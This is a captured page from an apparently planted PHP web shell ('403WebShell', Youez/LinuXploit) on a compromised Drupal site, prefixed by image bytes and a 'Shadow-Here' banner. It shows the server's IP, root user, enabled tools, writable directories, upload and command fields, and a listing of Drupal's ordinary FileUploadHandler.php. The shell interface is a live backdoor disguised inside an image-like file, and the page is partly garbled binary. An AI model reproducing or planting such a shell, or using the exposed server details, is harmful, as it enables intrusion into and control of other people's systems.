RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/modules/file/src/Upload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/modules/file/src/Upload/FileUploadHandler.php
<?php

namespace Drupal\file\Upload;

use Drupal\Core\Entity\EntityTypeManagerInterface;
use Drupal\Core\File\Event\FileUploadSanitizeNameEvent;
use Drupal\Core\File\Exception\FileExistsException;
use Drupal\Core\File\Exception\FileWriteException;
use Drupal\Core\File\Exception\InvalidStreamWrapperException;
use Drupal\Core\File\FileSystemInterface;
use Drupal\Core\Session\AccountInterface;
use Drupal\Core\StreamWrapper\StreamWrapperManagerInterface;
use Drupal\file\Entity\File;
use Drupal\file\FileInterface;
use Symfony\Component\EventDispatcher\EventDispatcherInterface;
use Symfony\Component\HttpFoundation\File\Exception\CannotWriteFileException;
use Symfony\Component\HttpFoundation\File\Exception\ExtensionFileException;
use Symfony\Component\HttpFoundation\File\Exception\FileException;
use Symfony\Component\HttpFoundation\File\Exception\FormSizeFileException;
use Symfony\Component\HttpFoundation\File\Exception\IniSizeFileException;
use Symfony\Component\HttpFoundation\File\Exception\NoFileException;
use Symfony\Component\HttpFoundation\File\Exception\NoTmpDirFileException;
use Symfony\Component\HttpFoundation\File\Exception\PartialFileException;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Mime\MimeTypeGuesserInterface;

/**
 * Handles validating and creating file entities from file uploads.
 */
class FileUploadHandler {

  /**
   * The default extensions if none are provided.
   */
  const DEFAULT_EXTENSIONS = 'jpg jpeg gif png txt doc xls pdf ppt pps odt ods odp';

  /**
   * The file system service.
   *
   * @var \Drupal\Core\File\FileSystemInterface
   */
  protected $fileSystem;

  /**
   * The entity type manager.
   *
   * @var \Drupal\Core\Entity\EntityTypeManagerInterface
   */
  protected $entityTypeManager;

  /**
   * The stream wrapper manager.
   *
   * @var \Drupal\Core\StreamWrapper\StreamWrapperManagerInterface
   */
  protected $streamWrapperManager;

  /**
   * The event dispatcher.
   *
   * @var \Symfony\Component\EventDispatcher\EventDispatcherInterface
   */
  protected $eventDispatcher;

  /**
   * The current user.
   *
   * @var \Drupal\Core\Session\AccountInterface
   */
  protected $currentUser;

  /**
   * The MIME type guesser.
   *
   * @var \Symfony\Component\Mime\MimeTypeGuesserInterface
   */
  protected $mimeTypeGuesser;

  /**
   * The request stack.
   *
   * @var \Symfony\Component\HttpFoundation\RequestStack
   */
  protected $requestStack;

  /**
   * Constructs a FileUploadHandler object.
   *
   * @param \Drupal\Core\File\FileSystemInterface $fileSystem
   *   The file system service.
   * @param \Drupal\Core\Entity\EntityTypeManagerInterface $entityTypeManager
   *   The entity type manager.
   * @param \Drupal\Core\StreamWrapper\StreamWrapperManagerInterface $streamWrapperManager
   *   The stream wrapper manager.
   * @param \Symfony\Component\EventDispatcher\EventDispatcherInterface $eventDispatcher
   *   The event dispatcher.
   * @param \Symfony\Component\Mime\MimeTypeGuesserInterface $mimeTypeGuesser
   *   The MIME type guesser.
   * @param \Drupal\Core\Session\AccountInterface $currentUser
   *   The current user.
   * @param \Symfony\Component\HttpFoundation\RequestStack $requestStack
   *   The request stack.
   */
  public function __construct(FileSystemInterface $fileSystem, EntityTypeManagerInterface $entityTypeManager, StreamWrapperManagerInterface $streamWrapperManager, EventDispatcherInterface $eventDispatcher, MimeTypeGuesserInterface $mimeTypeGuesser, AccountInterface $currentUser, RequestStack $requestStack) {
    $this->fileSystem = $fileSystem;
    $this->entityTypeManager = $entityTypeManager;
    $this->streamWrapperManager = $streamWrapperManager;
    $this->eventDispatcher = $eventDispatcher;
    $this->mimeTypeGuesser = $mimeTypeGuesser;
    $this->currentUser = $currentUser;
    $this->requestStack = $requestStack;
  }

  /**
   * Creates a file from an upload.
   *
   * @param \Drupal\file\Upload\UploadedFileInterface $uploadedFile
   *   The uploaded file object.
   * @param array $validators
   *   The validators to run against the uploaded file.
   * @param string $destination
   *   The destination directory.
   * @param int $replace
   *   Replace behavior when the destination file already exists:
   *   - FileSystemInterface::EXISTS_REPLACE - Replace the existing file.
   *   - FileSystemInterface::EXISTS_RENAME - Append _{incrementing number}
   *     until the filename is unique.
   *   - FileSystemInterface::EXISTS_ERROR - Throw an exception.
   *
   * @return \Drupal\file\Upload\FileUploadResult
   *   The created file entity.
   *
   * @throws \Symfony\Component\HttpFoundation\File\Exception\FileException
   *   Thrown when a file upload error occurred.
   * @throws \Drupal\Core\File\Exception\FileWriteException
   *   Thrown when there is an error moving the file.
   * @throws \Drupal\Core\File\Exception\FileException
   *   Thrown when a file system error occurs.
   * @throws \Drupal\file\Upload\FileValidationException
   *   Thrown when file validation fails.
   */
  public function handleFileUpload(UploadedFileInterface $uploadedFile, array $validators = [], string $destination = 'temporary://', int $replace = FileSystemInterface::EXISTS_REPLACE): FileUploadResult {
    $originalName = $uploadedFile->getClientOriginalName();

    if (!$uploadedFile->isValid()) {
      switch ($uploadedFile->getError()) {
        case \UPLOAD_ERR_INI_SIZE:
          throw new IniSizeFileException($uploadedFile->getErrorMessage());

        case \UPLOAD_ERR_FORM_SIZE:
          throw new FormSizeFileException($uploadedFile->getErrorMessage());

        case \UPLOAD_ERR_PARTIAL:
          throw new PartialFileException($uploadedFile->getErrorMessage());

        case \UPLOAD_ERR_NO_FILE:
          throw new NoFileException($uploadedFile->getErrorMessage());

        case \UPLOAD_ERR_CANT_WRITE:
          throw new CannotWriteFileException($uploadedFile->getErrorMessage());

        case \UPLOAD_ERR_NO_TMP_DIR:
          throw new NoTmpDirFileException($uploadedFile->getErrorMessage());

        case \UPLOAD_ERR_EXTENSION:
          throw new ExtensionFileException($uploadedFile->getErrorMessage());

      }

      throw new FileException($uploadedFile->getErrorMessage());
    }

    $extensions = $this->handleExtensionValidation($validators);

    // Assert that the destination contains a valid stream.
    $destinationScheme = $this->streamWrapperManager::getScheme($destination);
    if (!$this->streamWrapperManager->isValidScheme($destinationScheme)) {
      throw new InvalidStreamWrapperException(sprintf('The file could not be uploaded because the destination "%s" is invalid.', $destination));
    }

    // A file URI may already have a trailing slash or look like "public://".
    if (substr($destination, -1) != '/') {
      $destination .= '/';
    }

    // Call an event to sanitize the filename and to attempt to address security
    // issues caused by common server setups.
    $event = new FileUploadSanitizeNameEvent($originalName, $extensions);
    $this->eventDispatcher->dispatch($event);
    $filename = $event->getFilename();

    $mimeType = $this->mimeTypeGuesser->guessMimeType($filename);
    $destinationFilename = $this->fileSystem->getDestinationFilename($destination . $filename, $replace);
    if ($destinationFilename === FALSE) {
      throw new FileExistsException(sprintf('Destination file "%s" exists', $destinationFilename));
    }

    $file = File::create([
      'uid' => $this->currentUser->id(),
      'status' => 0,
      'uri' => $uploadedFile->getRealPath(),
    ]);

    // This will be replaced later with a filename based on the destination.
    $file->setFilename($filename);
    $file->setMimeType($mimeType);
    $file->setSize($uploadedFile->getSize());

    // Add in our check of the file name length.
    $validators['file_validate_name_length'] = [];

    // Call the validation functions specified by this function's caller.
    $errors = file_validate($file, $validators);
    if (!empty($errors)) {
      throw new FileValidationException('File validation failed', $filename, $errors);
    }

    $file->setFileUri($destinationFilename);

    if (!$this->moveUploadedFile($uploadedFile, $file->getFileUri())) {
      throw new FileWriteException('File upload error. Could not move uploaded file.');
    }

    // Update the filename with any changes as a result of security or renaming
    // due to an existing file.
    $file->setFilename($this->fileSystem->basename($file->getFileUri()));

    if ($replace === FileSystemInterface::EXISTS_REPLACE) {
      $existingFile = $this->loadByUri($file->getFileUri());
      if ($existingFile) {
        $file->fid = $existingFile->id();
        $file->setOriginalId($existingFile->id());
      }
    }

    $result = (new FileUploadResult())
      ->setOriginalFilename($originalName)
      ->setSanitizedFilename($filename)
      ->setFile($file);

    // If the filename has been modified, let the user know.
    if ($event->isSecurityRename()) {
      $result->setSecurityRename();
    }

    // Set the permissions on the new file.
    $this->fileSystem->chmod($file->getFileUri());

    // We can now validate the file object itself before it's saved.
    $violations = $file->validate();
    foreach ($violations as $violation) {
      $errors[] = $violation->getMessage();
    }
    if (!empty($errors)) {
      throw new FileValidationException('File validation failed', $filename, $errors);
    }

    // If we made it this far it's safe to record this file in the database.
    $file->save();

    // Allow an anonymous user who creates a non-public file to see it. See
    // \Drupal\file\FileAccessControlHandler::checkAccess().
    if ($this->currentUser->isAnonymous() && $destinationScheme !== 'public') {
      $session = $this->requestStack->getCurrentRequest()->getSession();
      $allowed_temp_files = $session->get('anonymous_allowed_file_ids', []);
      $allowed_temp_files[$file->id()] = $file->id();
      $session->set('anonymous_allowed_file_ids', $allowed_temp_files);
    }

    return $result;
  }

  /**
   * Move the uploaded file from the temporary path to the destination.
   *
   * @todo Allows a sub-class to override this method in order to handle
   * raw file uploads in https://www.drupal.org/project/drupal/issues/2940383.
   *
   * @param \Drupal\file\Upload\UploadedFileInterface $uploadedFile
   *   The uploaded file.
   * @param string $uri
   *   The destination URI.
   *
   * @return bool
   *   Returns FALSE if moving failed.
   *
   * @see https://www.drupal.org/project/drupal/issues/2940383
   */
  protected function moveUploadedFile(UploadedFileInterface $uploadedFile, string $uri) {
    return $this->fileSystem->moveUploadedFile($uploadedFile->getRealPath(), $uri);
  }

  /**
   * Gets the list of allowed extensions and updates the validators.
   *
   * This will add an extension validator to the list of validators if one is
   * not set.
   *
   * If the extension validator is set, but no extensions are specified, it
   * means all extensions are allowed, so the validator is removed from the list
   * of validators.
   *
   * @param array $validators
   *   The file validators in use.
   *
   * @return string
   *   The space delimited list of allowed file extensions.
   */
  protected function handleExtensionValidation(array &$validators): string {
    // Build a list of allowed extensions.
    if (isset($validators['file_validate_extensions'])) {
      if (!isset($validators['file_validate_extensions'][0])) {
        // If 'file_validate_extensions' is set and the list is empty then the
        // caller wants to allow any extension. In this case we have to remove the
        // validator or else it will reject all extensions.
        unset($validators['file_validate_extensions']);
      }
    }
    else {
      // No validator was provided, so add one using the default list.
      // Build a default non-munged safe list for
      // \Drupal\system\EventSubscriber\SecurityFileUploadEventSubscriber::sanitizeName().
      $validators['file_validate_extensions'] = [self::DEFAULT_EXTENSIONS];
    }
    return $validators['file_validate_extensions'][0] ?? '';
  }

  /**
   * Loads the first File entity found with the specified URI.
   *
   * @param string $uri
   *   The file URI.
   *
   * @return \Drupal\file\FileInterface|null
   *   The first file with the matched URI if found, NULL otherwise.
   *
   * @todo replace with https://www.drupal.org/project/drupal/issues/3223209
   */
  protected function loadByUri(string $uri): ?FileInterface {
    $fileStorage = $this->entityTypeManager->getStorage('file');
    /** @var \Drupal\file\FileInterface[] $files */
    $files = $fileStorage->loadByProperties(['uri' => $uri]);
    if (count($files)) {
      foreach ($files as $item) {
        // Since some database servers sometimes use a case-insensitive
        // comparison by default, double check that the filename is an exact
        // match.
        if ($item->getFileUri() === $uri) {
          return $item;
        }
      }
    }
    return NULL;
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit